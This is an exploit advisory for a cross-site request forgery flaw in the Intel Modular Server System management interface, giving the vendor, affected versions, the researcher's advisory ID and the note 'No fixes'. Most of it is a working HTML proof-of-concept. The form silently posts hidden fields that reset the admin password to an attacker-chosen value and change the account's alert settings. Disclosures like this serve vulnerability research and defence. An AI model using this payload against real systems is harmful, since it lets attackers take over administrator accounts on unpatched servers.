Intel Modular Server System 10.18 - Cross-Site Request Forgery (Change Admin Password)

2019-03-14 16:05:10

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Intel Modular Server System 10.18 CSRF Change Admin Password Exploit


Vendor: Intel Corporation
Product web page: https://www.intel.com
Affected version: 10.18.100.20130627.38849
5.5.100.20091202.19584

Summary: The Intel Modular Server System is a blade system manufactured by
Intel using their own motherboards and processors. The Intel Modular Server
System consists of an Intel Modular Server Chassis, up to six diskless Compute
Blades, an integrated storage area network (SAN), and three to five Service
Modules.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.30
lighttpd/1.4.21
PHP/5.3.10
PHP/5.2.2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5514
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5514.php


11.03.2019

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<html>
<body>
<script>history.pushState('', 't00t', 'index.php')</script>
<form action="https://192.168.1.17:444/users/?table=User&UserId=1&action=edit&template=none" method="POST">
<input type="hidden" name="_dbTable[User][1][UserId]" value="1" />
<input type="hidden" name="_dbTable[User][1][Username]" value="admin" />
<input type="hidden" name="_dbTable[User][1][AuthMethod]" value="Local" />
<input type="hidden" name="_dbTable[User][1][Password][update]" value="on" />
<input type="hidden" name="_dbTable[User][1][Password][new]" value="(ontrol!23" />
<input type="hidden" name="_dbTable[User][1][Password][confirm]" value="(ontrol!23" />
<input type="hidden" name="_dbTable[User][1][AlertEmail]" value="[email protected]" />
<input type="hidden" name="_dbTable[User][1][CriticalEmail]" value="" />
<input type="hidden" name="_dbTable[User][1][Phone]" value="031-337-101" />
<input type="hidden" name="_dbTable[User][1][Locked]" value="0" />
<input type="hidden" name="action" value="Update" />
<input type="hidden" name="_dbTable[UserRights][21][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][22][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][23][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][24][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][25][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][26][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][27][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][28][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][29][Alerts]" value="3" />
<input type="hidden" name="_dbTable[UserRights][247][Alerts]" value="3" />
<input type="hidden" name="DbTable" value="User" />
<input type="hidden" name="DbTableKey" value="1" />
<input type="submit" value="Do et!" />
</form>
</body>
</html>

Fixes

No fixes

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